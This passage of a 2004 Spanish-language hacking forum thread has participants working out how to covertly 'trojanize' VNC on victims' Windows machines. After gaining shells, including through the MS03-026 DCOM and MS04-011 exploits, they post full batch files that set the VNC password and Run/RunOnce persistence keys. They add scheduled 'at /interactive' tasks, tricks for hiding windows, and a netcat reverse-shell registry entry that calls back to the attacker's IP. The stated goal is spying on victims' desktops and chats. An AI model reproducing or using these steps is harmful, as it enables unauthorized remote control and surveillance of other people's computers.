HKEY_LOCAL_MACHINE\SOFTWARE\ORL

Citar
HKEY_USERS\S-1-5-21-2000478354-1085031214-1801674531-1003\Software\ORL

Citar
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\VNC

7.- coloque los archivos anteriores en la misma ubicacion(los archivos de registro los puse junto con el WinVNC.exe y VNCHooks.dll) , en la maquina de la victima mediante el TFTP(creo que ya se explico bastante como funciona y no me quiero enrollar xDD)

8.- importe los archivos de registro que le subi a su propio registro, mediante la shell remota(recuerden que yo saque 6 archivos .reg):

Código:
```
c:\cd vnc
c:\vnc>reg import vnc1.reg
```

```
c:\vnc>reg import vnc2.reg
c:\vnc>reg import vnc3.reg
c:\vnc>reg import vnc4.reg
c:\vnc>reg import vnc5.reg
c:\vnc>reg import vnc6.reg
```

9.- ejecute el winvnc:
Código:
```
c:\vnc>start winvnc
```

10.- Abro mi vncview (utilice el cual yo puse la URL de descarga), coloco la ip (desabilito las opciones de interactuar con la victima) y me aparece otra pantalla pidiendome el password, lo coloco ¡BINGO! me conecto con la victima, ahora puedo ver su escritorio y lo que escribe en el msn xDDD.

11.- solo para asegurar que el vnc se ejecute a cada reiniciada pongo en la shell remota lo siguiente:
Código:
```
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Winvnc /t REG_SZ /d "C:\vnc\winvnc"
```

espero haberme explicado de la mejor manera, solo me queda esperar que Gospel haga pruebas en un medio diferente y ya veremos.

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Sir_Neo** en **12 Octubre 2004, 07:54**

Ahi va mi manera:

- Consigo la shell remota dejando el netcat a la escucha en la victima.

- Instalo el winvnc en la makina del atacante.

- Le pongo el password. Cierro.

- Reemplazo el WinVnc no Tray por el normal.

- Cojo los ficheros WinVnc.exe, VNCHooks.dll (de ORL/VNC) y omnithread_rt.dll (de system32) y los coloco en una misma ubicación, por ejemplo "c:\h"

- Abro el regedit, busco winvnc, y encuentro una carpeta que tiene una clave llamada password. archivo -> exportar y le ponemos un nombre (ejempolo: vnc.reg). Lo colocamos en c:\h también.

- lanzamos el tftp32e.exe y le subimos los 4 ficheros estos en un mismo directorio. (en mi caso, en windows o system32, no ma cuerdo)

- ponemos "reg imort vnc.reg" y "start winvnc.exe".

- Luego ejecutamos en el atacante vncview, sale una ventanita pidiendo password (eso significa que hemos conectado), ponemos el pass y devuelve la pantalla.

- Tambien podemos añadir al registro para que se incie el winvnc cada vez q inicie la makina.

NOTA: No me ha hecho falta los demas registros.

NOTA2: Para no tener que llevarnos tanto tiempo con la shell abierta haciendo las cosas pertinentes, me tengo echo un bat con los comandos que hay que utilizar. Así solo subo el fichero bat, y una vez dentro, lo lanzamos, y todo listo en -1 segundo. jeje

Espero que os sirva de ayuda.

Suerte !!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **12 Octubre 2004, 08:27**

Muy bien, muy bien... gracias por la ayuda perooooo.....

Ambos habéis utilizado una shell remota con privilegios de cierto usuario, pero habéis probado con exploits?? Estos devuelven la shell con privilegios de SYSTEM. No sé si es un detalle a tener en cuenta pero es q he atacado 4-5 equipos de mi red con exploits y no he tenido éxito al ejecutarles el winvnc...

Probad con exploits please.

Yo estoy en ello!!!

Salu2

Gracias por contestar tan pronto....

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **12 Octubre 2004, 09:44**

Ok, ya he hecho mis pruebas y estos son los resultados...

Cómo ya venía pensando, el detalle de trabajar con una shell remota con privilegios de usuario o con privilegios de SYSTEM es un detalle a tener en cuenta!!!

A través del exploit DCOM (para MS03-026) o HODLsass (para MS04-011) consigo una shell remota con privilegios de SYSTEM en cierta víctima de mi red local.

Le subo 4 cosas: los 3 archivos del VNC + 1 vncreg.reg q contiene la entrada en regedit de la carpeta HKEY_CURRENT_USER\Software\ORL. No prob en esto...

A continuación, hay q agregar la información de la contraseña a su registro. Esto se hace con la instrucción "reg import vncreg.reg". Pues bien, desde una shell con privilegios de SYSTEM no te agrega la entrada!!!!!!
He comprobado q si es un shell con privilegios de usuario entonces sí te la agrega...

Bien, suponiendo q ya tenemos la información agregada en el registro. Si ejecutamos "start winvnc" desde una shell con privilegios de SYSTEM, te carga el winvnc pero da error Connection Failure al conectarte.
He comprobado q si ejecutas "start winvnc" desde una shell con privilegios de usuario, te carga el winvnc y te puedes conectar con éxito con el vncviewer.

Nota: Ejecutar programas desde una shell con privilegios de SYSTEM es una *****. Si ejecutas calc, se te añade a la lista de procesos en ejecución (como SYSTEM), pero en la pantalla no te aparece la calculadora. (Si lo haces desde una shell con privilegios de usuario, entonces sí que se abre...)

Bueno, me he puesto a pensar y el dilema se encuentra ahora en q, una vez q tengo subidos los archivos a la víctima, ¿cómo ejecuto las operaciones "reg import vncreg.reg" y "start winvnc" con privilegios de usuario (y no de SYSTEM)??

He probado con el comando *runas*, para ver si podía ejecutar estas dos operaciones como usuario de cierta cuenta, pero me pide contraseña y además, no me deja introducirla. FRACASO...

He probado a agregar una clave al registro q al iniciar Windows ejecute "reg import vncreg.reg" pero me da error de sintaxis. Es decir, no pongo bien el comando a ejecutar... alguna idea??
Sin embargo, creo q es posible agregar entradas al registro desde una shell con privilegios de SYSTEM pq al ejecutar:

Código:
```
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"
```

SI q me añadió la clave y, de hecho, al iniciar Windows sale la ventana de propiedades de winvnc pidiéndome la contraseña ^_^

Resumiendo, podemos agregar claves de registro con REG ADD, pero no con REG import vncreg.reg!!!

Alguna idea...

Animo gente q esto lo sacamos... 8)

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **12 Octubre 2004, 11:09**

Buah, soy la hostia.... no contaban con mi astucia!!

Ya q me he dao cuenta de q podía añadir claves de registro con REG ADD, pero no así con reg import, he pensao.... ¿pq no añadir las claves a pelo con un bat?
Pero claroooo... desde un cuenta SYSTEM no se pueden añadir claves de registro en HKEY_CURRENT_USER\, aunq sí en HKEY_LOCAL_MACHINE\. Como necesitamos crear las claves de inicio del Winvnc en HKEY_CURRENT_USER\, no podemos hacerlo desde esta shell remota y la cosa va a resultar algo más enrevesada...

Procedimiento:

1) Copiar el siguiente bat desde la shell remota con privilegios de SYSTEM y guardarlo en c:\WINDOWS\system32\addreg.bat

Código:
```
REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t
REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t
REG_DWORD /d 1 /f
REG ADD
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"
start c:\WINDOWS\system32\winvnc.exe
```

2) Añadir una clave al registro para q cargue este bat cuando el usuario inicie Windows, de esta forma sí q tendrá privilegios para crear claves en HKEY_CURRENT_USER\. Recuerdo q por ahora sólo estamos en disposición de añadir claves en HKEY_LOCAL_MACHINE\, asi q ejecutamos la siguiente línea de comandos desde la shell remota:

Código:
```
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Load /t REG_SZ /d "C:\WINDOWS\system32\addreg.bat"
```

3) Cuando el usuario reinicie el ordenador e inicie Windows, será un canteo, ya q aparecerá una ventana de msdos ejecutando en secuencia los comandos del archivo addreg.bat.

- Primero, creará la carpeta ORL en el registro
- Segundo, añadirá todas las claves de configuración del servidor VNC
- Tercero, añadirá una clave de inicio en /Run para q VNC se ejecute con cada reinicio
- Cuarto, ejecutará "start c:\WINDOWS\system32\winvnc.exe", esta vez sí, con privilegios de usuario!

Lo he probado y funciona...

Bueno, es un gran paso no creéis. Ahora sólo tenemos q preocuparnos de ocultar esa ejecución del *.bat. Lo primero q me ha venido a la cabeza es programar un pequeño código en c q ejecute todos esos comandos de msdos llamando a System(). Sin embargo, no sé cómo ocultarlo...
Es algo q llevo queriendo hacer desde hace tiempo. Incluso postee mi duda en la sección de Programación pero no me ayudaron lo suficiente :(->

-> **Ocultar programa Reverse Shell**
http://foro.elhacker.net/index.php/topic,41470.0.html

Bueno, como véis esto avanza... Animooooo, más ideas???

Salu2

PD: Está qdando un hilo bastante l33t, a q sí??

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **12 Octubre 2004, 11:12**

Un apunte.

Cuando creas un nuevo archivo desde una shell remota con privilegios de SYSTEM lo crea como "archivo de sólo lectura" y no lo puedes luego borrar. Te dice acceso denegado...

La verdad, esta noche he comprobado q las shell remotas q devuelven los exploits no son tan "geniales" como pensaba... :(

Hala, hala... a seguir con esto...

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **12 Octubre 2004, 12:48**

---

que no se supone que si agregamos un 'echo off' al principio de archivo bat, hace todo de manera promiscua?

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **12 Octubre 2004, 12:54**

---

hmm... "echo off". Vale, creo q así no se ven los comandos en sí, pero la ventana de ejecución de msdos sigue apareciendo, no??? Es decir, aparece la ventana toda negra...

Creooooooo... de todas formas, mañana pruebo!

Juas.... llevo 1 hora esperando a q contestes y me sueltas 1 frase!!! ::) Ajum, esperaba un texto algo más extenso ;)

Bueno, mañana más y mejor.

Salu2

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **12 Octubre 2004, 13:01**

---

si te cuento todo lo que me paso en estos momentos(tuve que cerrar el explorador con mi sesion abierta)....

ya te iba a contestar despues de que tu pusiste que ocupabas mas opiniones (luego te mando un IM para contarte mi tragedia xDD).

yo tenia planeado poner todo lo que pusiste en el bat directamente en la shell remota, pero como ya sabes no funcionaba.
:P

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **13 Octubre 2004, 02:50**

Todo ok!!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **13 Octubre 2004, 05:44**

¡YA RESOLVI EL PROBLEMA AMIGO GOSPEL! ;D

Estaba observando que a la hora de que se inicia windows mostraba de manera rapida todos los procesos que colocamos en el archivo .bat y una vez finalizados se cerraba dicha pantalla (eso era en el primer reinicio que hiciera el sistema), pero que pasaba si reiniciabamos de nuevo...la pantalla de ms-dos que se abrio y se cerro rapidamente una vez, ahora se quedaba abierta diciendonos que la entrada en RUN ya existia y que si

queriamos sobreescribirla ??? imaginate el cantaraso que ibamos a hacer cuando la victima volviera a reiniciar.

asi de que ahora nos enfrentamos a que debemos de crear una entrada en el registro que solamente ejecute una vez el archivo .bat y ya no volvamos a saber nada de eso, y ademas de que debemos de buscar una manera de que no se vean los procesos en pantalla.

en mis pruebas que hice en el registro del sistema observe que en lugar de agregar la entrada para que se ejecute el bat en:
Citar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
debemos de agregarla en:
Citar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
esto lo hariamos desde la shell remota con privilegios de system, y como mencionabas anteriormente, si puedes agregar valores en esa rama del registro.

tenemos dos ventajas al agregar la entrada alli:
1.- el archivo bat se va a ejecutar antes de cargar el escritorio (justo cuando esta la pantalla de bienvenido que nos va a ayudar a ocultar la pantalla del archivo bat xDDD)
2.- una vez ejecutada la entrada, automaticamente se borra (asi ya no nos preocupamos de que nos aparezca una pantalla diciendonos que si deceamos sobreescribir un valor ya existente en el registro).

ahora solo me falta decir un detalle... el archivo bat que creaste al final de agregar todos los valores que contienen el password, agrega una entrada en el registro para que se ejecute el winvnc a cada reinicio del sistema y ademas ejecuta el winvnc.
pero como el archivo bat se va a ejecutar antes de que se inicie el sistema, se ejecutara el winvnc dos veces con lo cual no saldra una ventanita diciendonos que ya se esta ejecutando.
por lo tanto para que todo nos salga de perlas, el archivo bat debera de quedar asi:

Código:
```
REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t
REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t
```

```
REG_DWORD /d 1 /f
REG ADD
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"
```

como lo ultimo que hicimos en este bat fue agregar la entrada para que se inicie junto con windows, despues de hacer su trabajo el archivo bat, la entrada para que se ejecute el winvnc tambien lo hara xDDD

NOTA: solo aclarar que este archivo bat va a variar en esto:
Código:
```
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t
REG_BINARY /d 32149bb09b18f887 /f
```
por que no creo que todos quieran poner el password que utilizo Gospel, sino poner un password que se sepan ustedes.

Si gustas Gospel hacer una prueba mas para verificar lo que acabo de explicar :P

saludos y ahora si creo que ya esta todo listo para el bonito tutorial que nos prometio Gospel
xDDD

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **13 Octubre 2004, 06:04**

---

ahora que me puse a leer todo el hilo creo que hay algo que nos hace falta agregar.

que todos nosotros somos muy desesperados y no queremos esperar un dia para que reinicie su maquina asi de que ¿por que no lo obligamos a que reinicie?

podemos apagarle su equipo remotamente(inicio> ejecutar) con el comando:
Código:
```
shutdown -i \\ip_de_la_maquina
```
el usuario no sabra que paso y lo mas seguro es que vuelva a entrar a internet para continuar chateando con un amigos o revisando el correo xDDD

ahora un inconveniente de lo que acabo de decir, a la hora de que se vuelva a conectar ya no tendra la misma ip :'(.

JUAS!!!!! pues eso se resuelve facilmente haciendo una reverse shell, no nos tomara bastante tiempo jeje.

hacemos lo siguiente antes de apagarle su equipo y aun teniendo su shell y el TFTP a la mano:

le subimos un netcat al lugar quese nos haga mas bonito :P y agregamos otra entrada en su registro (despues de todo lo que se hizo en este post creo que adoro el registro de windows xDDD) de la siguiente manera:

tecleamos en la shell remota:
Código:
```
REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Netcat /t REG_SZ /d "C:\nc -d -e cmd.exe xx.xx.xx.xx 6000"
```
solo sustituimos las "x" por nuestra ip y nos fijamos que la ruta del nc sea la correcta, en este caso lo puso en el directorio raiz.

ahora sigue que nosotros dejemos un netcat a la escucha en nuestro equipo asi a la hora de que reinie su netcat se conecte con el nuestro y nuevamente tengamos shell:
Código:
```
nc -l -p 6000 -d -e cmd.exe
```

ahora si estamos listos para apagarle su equipo remotamente xDDD

ya una vez que reinicie en la shell remota tecleamos:
Citar
ipconfig
y nos mostrara su ip para conectarnos con el vncview.

saludos.

P.D. me gustaria ver como reacciona Gospel al ver todo el despapalle que hice mientras el no estaba ::)

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **13 Octubre 2004, 23:54**

:D :D :D :D :D :D :D :D :D :D :D :D

Can't wait to test it!!

Muchas Gracias zhyzuraaaaa!!!!

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **14 Octubre 2004, 05:36**

Woahhhh!!! Genial Zhyzuraaaa, vaya idea feliz q te has currao!

Lo he probado y funciona!!!

Un simple apunte....

Cuando yo dejé el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run y el usuario iniciaba Windows, primero cargaba el escritorio y luego cargaba el bat. Por tanto, era un canteo pq aparecía la pantalla de consola.
¿Por qué si dejas el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunO

nce carga primero el bat y luego el escritorio y por tanto, no aparece tal ventana de consola??

Bueno, el caso es q funciona, así q ya puedo preparar el tutorial, jejejeje... le voy a meter un poco de arte para hacerlo!!

Otro apunte.... si entro a través del exploit Dcom para MS03-026, no hace falta reiniciar el equipo... al terminar la sesión con netcat, cae el servicio RPC y produce un services crash q obliga al sistema a reiniciar tras la cuenta atrás...

Citar
shutdown -i \\ip_de_la_maquina

Estás de coña?? Shutdown -i muestra el interfaz GUI para el apagado del sistema. Te has colao de parámetro... :P

Tb tengo q probar otras cosas q me han contado algunos pajaritos de por ahi ;) Puede q haya varias maneras de hacer q esto funcione...

Hala... en un par de dias publico el tutorial!!

Salu2

Pd: Soy feliz

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Sir_Neo** en **14 Octubre 2004, 07:51**

Gospel:
Citar
Otro apunte.... si entro a través del exploit Dcom para MS03-026, no hace falta reiniciar el equipo... al terminar la sesión con netcat, cae el servicio RPC y produce un services crash q obliga al sistema a reiniciar tras la cuenta atrás...

No estoy de acuerdo contigo. Esa es la primera vulnerabiliad que trabaje cuando me inicié este mundillo, y probe varios.

No todos caen el servicio RPC, y el que hace caerlo no lo hace en todas las makinas.

Uno de ellos lo probe en 2 makinas que tenia vulnerables, y en el primero me salia una ventanita que decia que reiniciase, y en el otro no salía nada. En los dos casos me daba shell. Así que saco como conclusión, que dependerá de la makina. no se.

PD: Ya es que tengo los pcs parcheados, sino probaría de nuevo para confirmartelo.

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Gospel** en **14 Octubre 2004, 11:15**

Here i goooo.... ;D

El siguiente método para lograr instalar VNC como troyano en una víctima se compone de **4 pasos**.

Paso 1 - Ejecutando el servidor VNC en la víctima

0) Obtener una shell remota de la víctima.
El siguiente método, está específicamente desarrollado para el caso de shell remota obtenida con el uso de un exploit. Esta shell remota, tendrá privilegios de SYSTEM y será por tanto, un poco especial.
Este método también es válido para una shell remota obtenida a partir de netcat, con privilegios de USUARIO, aunq en este último caso, se puede llegar a lo mismo sin tanto rodeo.

1) Subir los 3 archivos necesarios para la ejecución del servidor VNC. (De esto ya se ha hablado antes...)

2) Subir 2 archivos .bat

addRegNow.bat:
Código:
```
@echo off
REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t
REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t
REG_DWORD /d 1 /f
```

addReg.bat:
Código:
```
REG ADD HKEY_CURRENT_USER\Software\ORL
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v AutoPortSelect /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v InputsEnabled /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollConsole /t
```

```
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v OnlyPollOnEvent /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v Password /t
REG_BINARY /d 32149bb09b18f887 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollForeground /t
REG_DWORD /d 1 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollFullScreen /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v PollUnderCursor /t
REG_DWORD /d 0 /f
REG ADD HKEY_CURRENT_USER\Software\ORL\WinVNC3 /v SocketConnect /t
REG_DWORD /d 1 /f
REG ADD
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v
Winvnc /t REG_SZ /d "C:\WINDOWS\system32\winvnc"
```

3) Agregar al registro de la víctima, la información de configuración del servidor VNC. Parte de esta información es la contraseña necesaria para admitir la conexión de clientes.
Vamos a agregar la información contenida en addRegNow.bat haciendo uso del comando at, es decir, programando una tarea.

Comprobamos la hora local de la víctima con *net time \\nombreequipovictima*

Programamos una tarea para los 2 minutos siguientes:
Código:
```
C:\WINDOWS\system32>at 0:58 "addregnow.bat"
at 0:58 "addregnow.bat"
Se ha agregado un nuevo trabajo con identificador = 1
```

Cuando llegue el momento, se ejecutará la tarea, no aparecerá ninguna ventana de ejecución del bat ??? y se agregará toda la información contenida en addRegNow.bat en la siguiente clave de registro ??? :

Citar
HKEY_USERS\.DEFAULT\Software\ORL

4) Cargar el ejecutable del servidor VNC llamando a winvnc.exe. Para ello, tenemos q programar una tarea y utilizar el parámetro /interactive

Citar
/interactive - Permite a la tarea interactuar con el escritorio del usuario cuya sesión coincide con el momento de ejecución de la tarea.

Si nos olvidamos de este detalle, winvnc.exe no correrá en el mismo entorno q el usuario víctima y no podremos acceder remotamente. Dará error de conexión...

Código:
```
C:\WINDOWS\system32>at 0:59 /interactive "winvnc.exe"
at 0:59 /interactive "winvnc.exe"
Se ha agregado un nuevo trabajo con identificador = 2
```

5) Después de comprobar con C:\at q no ha habido errores al ejecutar ambas tareas, podemos conectarnos remotamente con cualquier cliente vncviewer (si, cualquier!).

Winvnc.exe aparecerá en la lista de tareas de la víctima bajo el Nombre de Usuario SYSTEM, pero magia potagia, se está ejecutando en el mismo entorno q el usuario víctima.

Paso 2 (Opcional) - Preparando la Instalación del servidor VNC como servicio

Si queremos garantizarnos futuros accesos con el cliente VNC, tenemos q seguir los siguientes puntos...

1) Añadir a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunO ne una clave con la ejecución de addReg.bat. De esta forma, cuando el usuario reinicie Windows, se cargará la información de configuración del servidor VNC en:

Citar
HKEY_CURRENT_USER\Software\ORL\WinVNC3

Os preguntaréis, ¿pq hago esto 2 veces? Pues pq sino creamos la clave de configuracion en HKEY_CURRENT_USER\Software\ORL\WinVNC3, cuando el usuario inicie Windows, el servidor VNC no irá a buscar la clave en HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3, sino a HKEY_CURRENT_USER\Software\ORL\WinVNC3 y como no la encontrará, saltará la ventana de propiedades pidiendo la contraseña... Es un poco lioso, pero hacedme caso...

Bien, con el siguiente comando, crearemos la clave de inicio q añadirá el contenido de addReg al registro de la víctima.

Código:
```
C:\WINDOWS\system32>REG ADD
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
/v Load /t REG_SZ /d "C:\WINDOWS\system32\addreg.bat"
```

Esta clave sólo se ejecutará una única vez (RunOnce) en el siguiente inicio de Windows de la víctima...
Ahora, podemos esperar a q la víctima reinicie...

Paso 3 (Opcional) - Instalando el servidor VNC como servicio

0) La víctima reinicia y vuelve a iniciar Windows.

1) Cuando Windows se inicie, se ejecutará la clave de inicio en RunOnce y se cargará el contenido de addReg.bat:
En este momento, se cargará:
- la información de configuración del servidor VNC en la clave por defecto HKEY_CURRENT_USER\Software\ORL
- un clave de inicio en HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run para q el servidor VNC arranque automáticamente en sucesivos inicios de Windows.

- el servidor VNC, ejecutándose con privilegios de USUARIO. (Esto deriva del punto anterior...)

2) Nos podemos conectar remotamente con el cliente vncviewer...

Paso 4 (Opcional) - VNC Instalado como troyano

0) En el siguiente reinicio de la víctima y posterior inicio de Windows ya habrá desaparecido la clave en RunOnce (1 única ejecución) y el servidor VNC se ejecutará automáticamente desde la clave de inicio en HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

2) Nos podemos conectar remotamente con el cliente vncviewer...

Bueno, eso es todo. Aún quedan una par de cosas en el a¡re, q no soy capaz de explicar y q espero no me causen alguna sorpresa desagradable en el futuro:

Citar
Cuando yo dejé el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run y el usuario iniciaba Windows, primero cargaba el escritorio y luego cargaba el bat. Por tanto, era un canteo pq aparecía la pantalla de consola.
¿Por qué si dejas el bat en HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce carga primero el bat y luego el escritorio y por tanto, no aparece tal ventana de consola??

Citar
Cuando llegue el momento, se ejecutará la tarea, no aparecerá ninguna ventana de ejecución del bat ??? y se agregará toda la información contenida en addRegNow.bat en la siguiente clave de registro ??? :

Citar
HKEY_USERS\.DEFAULT\Software\ORL

Cuando Zhuzura lo pruebe y le dé el visto bueno, me pongo manos a la obra con el tutorial...

Me he dado cuenta de lo costoso q resulta llevar todo esto a cabo. Estoy seguro de q exiten por ahí algunos "software de control remoto" q no requieren la utilización del registro para el manejo de la contraseña y q sólo con subirlos a la víctima y ejecutarlos, ya nos podemos conectar remotamente. Pero bueno, ya q empecé este hilo con VNC, voy a terminarlo bien, de forma satisfecha. Y además, de toda experiencia se saca algo provechoso. Hasta ahora, no me atrevía a jugar con el registro y después de esto, ya me muevo mucho mejor...

Hala... ha sido un dia intenso. Me voy a dormir....

Salu2

Pd: El truco de usar el contexto INTERACTIVE para la shell con privilegios de SYSTEM es cortesía de LooKilleR @ Foro de HackxCrack. Gracias...

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **zhyzura** en **15 Octubre 2004, 04:35**

FUNCIONA FUNCIONAAAAAAAAAA!!!!!!!!!!!!!!

;D ;D ;D

¡QUE ALGUIEN ME DETENGA!

acabo de probarlo(use el exploit DCOM para MS03-026) y la verdad no tengo un solo pero, bueno la verdad si tengo uno :P pero creo que ese error es culpa de mi maquina xDDD, el vncview de la version que pusiste, sigue sin funcionarme, solo me conecta con el que yo puse pero en fin...funciono!!! funciono!!! funciono!!!.

nunca se me habia ocurrido lo de hacer que se agrege como tarea y ademas la opcion "interactive" nunca la habia usado, ahora si no ocupamos esperar a que reinicie para empezar a espiar.

te la aventaste buena Gospel ::), cuando dijiste que ibas a poner otro metodo nunca pense que funcionara tan bien (y tan rapido).

no cabe duda de que este tema termino de la mejor manera, ahora si lo podemos usar con shell's remotas tanto con privilegios de system como de usuario.

saludos

Título: **Re: Troyanizando VNC - Control Remoto Invisible**
Publicado por: **Man-In-the-Middle** en **16 Octubre 2004, 04:19**

Bueno señores, estab de viaje y me tope con la sorpresa que ste post ya esta bien avanzado por gospel, Zhyzura y sir_neo, pero creo que hay un temita que de repente les podra ser interesante y ahi va:

Esto averiguacion fue por casualidad y la tratamos de manejar con sir_neo,

